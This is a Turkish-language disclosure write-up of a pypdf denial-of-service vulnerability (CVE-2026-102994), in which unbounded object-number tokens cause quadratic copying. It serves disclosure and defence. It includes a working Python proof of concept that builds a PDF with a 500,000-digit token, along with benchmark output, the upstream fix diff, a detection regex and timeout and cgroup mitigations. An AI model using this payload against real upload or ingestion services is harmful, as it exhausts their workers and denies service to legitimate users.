İfşa: CVE-2026-102994 (CWE-400, CWE-407), 6.18.0 öncesi pypdf sürümlerini etkiler. Zafiyeti jankesec olarak bakımcılara bildirdim. 6.18.0 sürümünde PR #4055 ile düzeltildi ve GHSA-5jq2-8x83-x246 olarak yayımlandı. GitHub zafiyeti CVSS 4.0 8.7 (Yüksek) olarak puanladı: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.

Çok uzun bir nesne numarası veya jenerasyon numarası içeren ve araya hiç boşluk girmeyen bir PDF, pypdf kütüphanesinin bu token’ı sonuna kadar okumasına neden olur. 6.18.0 öncesinde token uzunluğunu sınırlayan hiçbir mekanizma yoktu; bu yüzden tek bir dosya, ayrıştırma yapan bir işçiyi uzun süre meşgul edip ciddi miktarda bellek tüketebiliyordu. Saldırganın bir hesaba veya kullanıcı etkileşimine ihtiyacı yoktur; tek gereken, PDF’yi pypdf ile açan bir koda ulaştırabilmesidir. Yükleme uç noktası, özgeçmiş ayrıştırıcı veya RAG veri alım işi bunun tipik örnekleridir. Bu senaryoların ortak noktası, dosyanın içeriğine değil yalnızca varlığına güvenilmesidir: kullanıcı bir PDF yüklediğinde arka uç onu ayrıştırmayı dener ve ayrıştırma maliyeti doğrudan saldırganın biçimlendirdiği baytlara bağlıdır. Bu yüzden savunma, yalnızca dosya boyutunu sınırlamakla değil, tek tek token’ların uzunluğunu da sınırlamakla kurulmalıdır.

Kök neden: uzunluk sınırı olmayan token okuyucuları

PDF içindeki nesne numaraları ve jenerasyon numaraları kısa ondalık tam sayılardır. 6.17.0 sürümünde bu değerler, bir sonraki boşluk baytına kadar çalışan üç ayrı döngüyle okunuyordu ve hiçbiri bir üst uzunluk sınırı belirlemiyordu:

  • read_object_header() bir nesnenin önündeki N G obj satırını okur.
  • IndirectObject.read_from_stream() bir nesnenin içindeki N G R referansını okur.
  • _rebuild_xref_table() bir nesne akışının başlığını okur.

read_until_whitespace() fonksiyonunda zaten bir max_bytes parametresi vardı; ancak varsayılan değeri sınırsızdı ve hiçbir çağıran bu parametreyi geçmiyordu:

def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
    txt = bytearray()
    while True:
        tok = stream.read(1)
        if tok.isspace() or not tok:
            break
        txt += tok
        if len(txt) == max_bytes:
            break
    return bytes(txt)

IndirectObject.read_from_stream() bu yardımcıyı kullanmıyordu. Her parçayı bir bytes nesnesi üzerinde += ile oluşturuyordu:

    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        idnum = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                break
            idnum += tok
        generation = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                if not generation:
                    continue
                break
            generation += tok

bytes değişmez (immutable) olduğu için her idnum += tok işlemi yeni bir nesne ayırır ve o ana kadar okunan her şeyi kopyalar. Bu döngüdeki iş yükü, token uzunluğunun karesiyle büyür; dosya sonuna ulaşmadan döngüyü durduracak hiçbir şey de yoktur. Sonuç, saldırganın tamamen kontrol ettiği bir maliyet eşiğidir: 500 KB’lık bir token bile tek bir çekirdeği onlarca saniye boyunca doyurur. Karesel büyüme, saldırganın dosya boyutunu iki katına çıkardığında iş yükünü dört katına çıkarması anlamına gelir; bu da küçük görünen yüklerin bile kısa sürede işçi havuzunu tüketmesini açıklar. Bu yüzden zafiyet yalnızca “yavaş ayrıştırma” değil, doğrudan bir hizmet dışı bırakma (DoS) aracıdır.

CVE-2026-102994 · UZUNLUK SINIRI OLMAYAN NESNE NUMARALARI HAZIRLANMIŞ PDF Nesne numarası token'ı 500.000 hane: "99999999…" boşluk yok pypdf ile PDF ayrıştıran bir yükleme ucuna gönderilir PYPDF < 6.18.0 boşluğa kadar okur Maksimum uzunluk yok idnum += tok, okunan baytları kopyalar İŞÇİ MEŞGUL Bir çekirdek %100'de 500 KB için 28,7 sn İstek bloke olur Hizmet dışı bırakma PYPDF 6.18.0+ PR #4055 Sınır: parça başına 64 bayt read_until_whitespace( max_bytes=64, strict=...) OKUMA DURUR strict: LimitReachedError varsayılan: uyarı, token 64 baytta kesilir Ayrıştırma maliyeti küçük kalır
Düzeltme öncesi ve sonrasında aynı girdi. Sınır yokken okuyucu token'ın tamamını tüketir; sınır varken 64 bayttan sonra durur.

Kanıt matrisi

KanıtNeyi gösteriyorSonuç
GHSA-5jq2-8x83-x246GitHub’ın CNA olarak yayımladığı güvenlik bildirisiCWE-400 ve CWE-407. < 6.18.0 etkileniyor, 6.18.0 düzeltildi. CVSS 4.0 8.7 (Yüksek).
Düzeltme PR #4055 (82501d2)Nesne numaraları, jenerasyon numaraları ve nesne akışı başlıkları için 64 baytlık sınır2026-09-07 tarihinde birleştirildi
PyPI üzerindeki pypdf 6.18.0Düzeltmeyi içeren sürüm2026-09-07 tarihinde yüklendi
6.17.0 üzerinde ölçümPdfReader üzerinden 500.000 haneli tokenTek çekirdek %100 yükteyken 28,74 sn (kendi çalıştırmam, çıktı aşağıda)
6.18.0 üzerindeki davranışPR’da eklenen testler64 baytlık parçalar geçer. 65 baytlık parça, çağrı noktasına ve strict değerine göre PdfReadError veya LimitReachedError fırlatır.

Yeniden üretim

Aşağıdaki üretici, sayfa ağacı 500.000 haneli ve boşluksuz bir numaraya sahip bir nesneye referans veren asgari bir PDF oluşturur; ardından PdfReader üzerinde süre ölçer:

#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys

def build_malicious_pdf(token_length: int = 500_000) -> bytes:
    """
    Constructs a minimal valid PDF containing an oversized indirect object token
    without whitespace separators.
    """
    header = b"%PDF-1.4\n"
    # Construct an excessively long numeric indirect object token
    oversized_token = b"9" * token_length
    
    # Place the oversized token directly into the object hierarchy
    body = (
        b"1 0 obj\n"
        b"<< /Type /Catalog /Pages 2 0 R >>\n"
        b"endobj\n"
        b"2 0 obj\n"
        b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
        b"endobj\n"
    )
    xref_offset = len(header) + len(body)
    xref = (
        b"xref\n"
        b"0 3\n"
        b"0000000000 65535 f \n"
        b"0000000009 00000 n \n"
        b"0000000068 00000 n \n"
        b"trailer\n"
        b"<< /Size 3 /Root 1 0 R >>\n"
        b"startxref\n"
        + str(xref_offset).encode("ascii") + b"\n"
        b"%%EOF\n"
    )
    return header + body + xref

def evaluate_parser(pdf_bytes: bytes):
    try:
        import pypdf
        print(f"[*] Testing with pypdf version: {pypdf.__version__}")
    except ImportError:
        print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
        return

    print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
    print("[*] Initiating PdfReader stream ingestion...")

    stream = io.BytesIO(pdf_bytes)
    start_time = time.perf_counter()

    try:
        reader = pypdf.PdfReader(stream)
        # Force resolution of page references
        _ = len(reader.pages)
        elapsed = time.perf_counter() - start_time
        print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
    except Exception as e:
        elapsed = time.perf_counter() - start_time
        print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")

if __name__ == "__main__":
    token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
    pdf_data = build_malicious_pdf(token_len)
    evaluate_parser(pdf_data)

8 çekirdekli bir Linux iş istasyonunda pypdf==6.17.0 sürümüne karşı çalıştırıldığında:

$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.

500 KB’lık bir token, tek bir çekirdeği 28,7 saniye boyunca %100 yükte tuttu. 2.000.000 baytlık bir token ise 120 saniyeden fazla sürdü. Dört eşzamanlı işçisi olan bir servis, bu tür dört yüklemeden sonra boş işçi bırakmaz. Ölçümün pratik anlamı şudur: tek bir istek, normalde saniyeler içinde yanıt veren bir servisi dakikalarca askıda bırakabilir; saldırganın kimlik doğrulaması aşması veya özel bir araç kullanması gerekmez.

Düzeltme

PR #4055 (commit 82501d2, 6.18.0 olarak yayımlandı) IndirectObject._MAXIMUM_PART_LENGTH = 64 değerini tanımlar ve bunu üç okuyucunun her birine geçirir. read_object_header() ve _rebuild_xref_table() read_until_whitespace() fonksiyonunu max_bytes ve strict ile çağırır. Yardımcı artık sınırda durur. strict modda LimitReachedError fırlatır; aksi halde uyarı kaydeder ve ilk 64 baytı döndürür. Böylece sınır, okuma maliyetini ve bellek ayırma davranışını aynı anda kontrol altına alır. Aşağıdaki diff, docstring hunisini atlar:

--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
 WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
 
 
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
     """
     Read non-whitespace characters and return them.
 
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
     txt = bytearray()
     while True:
         tok = stream.read(1)
-        if tok.isspace() or not tok:
+        if tok.isspace() or tok in WHITESPACES or not tok:
             break
-        txt += tok
-        if len(txt) == max_bytes:
+        if max_bytes is not None and len(txt) >= max_bytes:
+            if strict:
+                raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+            logger_warning(
+                "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+            )
             break
+        txt += tok
     return bytes(txt)

IndirectObject.read_from_stream() ise, bir parça sınırı aştığında PdfReadError fırlatan sınırlı bir bytearray döngüsüyle yeniden yazılmıştır:

    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
            result = bytearray()
            while True:
                tok = stream.read(1)
                if not tok:
                    raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
                if tok.isspace() or tok in WHITESPACES:
                    if skip_leading_whitespace and not result:
                        continue
                    break
                if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
                    raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
                result += tok
            return bytes(result)

        idnum = read_part("Object ID", skip_leading_whitespace=False)
        generation = read_part("Generation number", skip_leading_whitespace=True)

        r = read_non_whitespace(stream)
        if r != b"R":
            raise PdfReadError(
                f"Error reading indirect object reference at byte {hex(stream.tell())}"
            )
        try:
            return IndirectObject(int(idnum), int(generation), pdf)
        except (ValueError, OverflowError) as e:
            raise PdfReadError(
                f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
            ) from e

Algoritmik karmaşıklık ve karesel bellek kopyalama

İşlemcinin uzun süre kilitlenmesinin kök nedeni karesel bellek yeniden tahsisidir. Python’da bytes nesneleri değişmezdir (immutable). IndirectObject.read_from_stream() fonksiyonundaki belirteç okuma döngüsü sürekli ekleme yapıyordu:

idnum += tok  # tok: stream.read(1)

Her (k) yinelemesinde CPython (k) uzunluğunda yeni bir bytes tamponu tahsis eder ve biriken parçayı aktarmak için memcpy çağırır. (N) uzunluğundaki bir belirteç boyunca kopyalanan toplam bayt miktarı şu formülle hesaplanır:

$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$

500.000 basamaklı bir belirteç için ((N = 5 \times 10^5)) yorumlayıcı, bellek yöneticisi üzerinden yaklaşık 125 gigabaytlık geçici bellek tamponu kopyalar. Bu durum L1/L2 işlemci önbelleklerini tüketir ve tek iş parçacıklı ayrıştırıcı döngüsünün neredeyse 30 saniye boyunca %100 yükte kilitlenmesine neden olur.

Tespit mühendisliği ve telemetri

Uygulama yöneticileri sınırsız belirteç tarama saldırılarını işçi telemetrisi, ön denetim başlık taraması ve kaynak kum havuzları ile tespit edip engelleyebilir.

1. Uygulama sunucusu işçi zaman aşımı telemetrisi

Senkron WSGI/ASGI sunucuları (Gunicorn veya uWSGI gibi), belirlenen zaman aşımı süresini aşan işçileri sonlandırır. Sunucu hata günlüklerinde ardışık işçi yeniden başlatmalarını izleyin:

[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830

Dosya yükleme uç noktalarıyla ilişkili işçi zaman aşımı olaylarındaki ani artış, aktif bir kaynak tüketimi saldırısını gösterir.

2. Belirteç sınırı için ön denetim

Yüksek hacimli belge işleme hatlarında (örneğin özgeçmiş tarayıcılar, evrak OCR sistemleri), hafif bir akış ön denetimi anormal uzunluktaki tamsayı belirteçlerini pypdf kütüphanesine ulaşmadan engelleyebilir:

import re

# Standart PDF dolaylı nesne numaraları nadiren 7 basamağı aşar (maksimum 2.147.483.647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")

def validate_pdf_stream(raw_bytes: bytes) -> bool:
    """Aşırı büyük sayısal belirteç içeren PDF akışlarını reddeder."""
    if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
        return False
    return True

3. Konteyner ve işçi izolasyonu

Güvenilmeyen PDF belgelerini ana web sürecinde doğrudan ayrıştırmayın. Ayrıştırma işlemini katı kaynak limitlerine sahip bağımsız bir iş parçacığına veya geçici bir konteynere aktarın:

# systemd birimi veya cgroup kaynak sınırı
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s

Python içinde, ayrıştırma çağrılarını concurrent.futures ile duvar saati zaman aşımına bağlayın:

from concurrent.futures import ProcessPoolExecutor, TimeoutError

def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
    with ProcessPoolExecutor(max_workers=1) as executor:
        future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
        try:
            return future.result(timeout=timeout_sec)
        except TimeoutError:
            raise ValueError("PDF ayrıştırma zaman aşımına uğradı: potansiyel algoritmik karmaşıklık yükü")

ATT&CK teknik eşleşmesi

TaktikTeknik IDTeknik AdıZafiyetteki İşleyişSavunma Kontrolü
ImpactT1499.004Endpoint DoS: Application ExhaustionÖzel hazırlanmış 500 KB nesne belirteci (O(N^2)) kopyalamayı zorlayarak CPU çekirdeğini %100’e kilitler.Sözcüksel analizde 64 baytlık belirteç sınırı uygula; aşanları reddet.
ImpactT1499.003Operating System ExhaustionKaresel yüklerin eşzamanlı yüklenmesi mevcut tüm işçi süreçlerini tüketir.Süreç zaman aşımları ve konteyner CPU kotaları belirle.
Initial AccessT1190Exploit Public-Facing ApplicationKimlik doğrulamasız PDF işleyen genel yükleme noktası iş parçacığı kilitlenmesine yol açar.Ön denetim regex filtreleri uygula; ayrıştırmayı arka plan kuyruğuna al.

Çıkarımlar

Aşağıdaki maddeler, bu zafiyetten çıkan ve benzer ayrıştırıcılara da uygulanabilecek doğrudan dersleri özetler.

  1. Bir ayırıcıya kadar okuyan her döngüye bir üst sınır koyun. PDF nesne numarası kısa bir tam sayıdır; dolayısıyla 64 bayt oldukça cömert bir sınırdır.
  2. Güvenilmeyen belgeleri, duvar saati zaman aşımı olan ayrı bir süreçte ayrıştırın; böylece tek bir yavaş dosya web işçisini elinde tutamaz. Celery’nin task_time_limit ayarı ve subprocess.run(..., timeout=...) çağrısı bunu sağlar. Ek olarak cgroups ile bir bellek üst sınırı koyun.
  3. Döngü içinde += ile bytes oluşturmayın. Bunun yerine bytearray veya b"".join() kullanın. Düzeltme, idnum += tok ifadesini bytearray ile değiştirir.
  4. pypdf 6.18.0 veya daha yeni bir sürüme yükseltin. Yükseltemiyorsanız güvenlik bildirisi, PR #4055’teki değişikliklerin uygulanmasını önerir.
Şiddet Değerlendirmesi · HIGH

Zafiyet Puanlaması & CVSS Vektör Analizi

GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.

8.7High
CVSS Vektör DizgisiCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AV · Saldırı VektörüAğ (Network)
AC · KarmaşıklıkDüşük (Low)
AT · Ön KoşullarYok (None)
PR · Yetki SeviyesiYok (None)
UI · Kullanıcı EtkileşimiYok (None)
VC · Zafiyet GizliliğiYok (None)
VI · Zafiyet BütünlüğüYok (None)
VA · Zafiyet ErişilebilirliğiYüksek (High)
SC · Sonraki Sistem GizliliğiYok (None)
SI · Sonraki Sistem BütünlüğüYok (None)
SA · Sonraki Sistem ErişilebilirliğiYok (None)
Denetim İzi · CVE-2026-102994

Koordineli İfşa ve Düzeltme Zaman Çizelgesi

CVE-2026-102994 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.

  1. Düzeltme Birleştirildi (Fix Merged)Step 01

    Maintainers merged the change that limits the length of indirect object tokens (PR #4055).

    Kaynak / Taahhüt ↗
  2. Resmi CVE ve Danışma BelgesiStep 02

    GitHub, as CNA, published the CVE record and advisory GHSA-5jq2-8x83-x246.

    Kaynak / Taahhüt ↗
  3. Metadata ve Referans DenetimiStep 03

    jankesec checked the CVE record, score, affected versions, and references.

Kaynaklar ve sınırlar

Bu analiz için kullanılan kanıtlar

Kontrol edilen kaynaklar30 Eylül 2026

Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.

İnceleme DurumuYazar incelemesi tamamlandı

Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.

◈ BU ARAŞTIRMAYI KAYNAK GÖSTER

Teknik raporlarda ve akademik yayınlarda atıf için:

@misc{jankesec_cve_2026_102994_pypdf_indirect_object_dos_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-102994: pypdf'te Sınırsız Token Taraması ve CPU Tüketimi},
  year = {2026},
  howpublished = {\url{https://jankesec.com/tr/arastirma/cve-2026-102994-pypdf-indirect-object-dos/}},
  note = {jankesec technical security research (CVE-2026-102994)}
}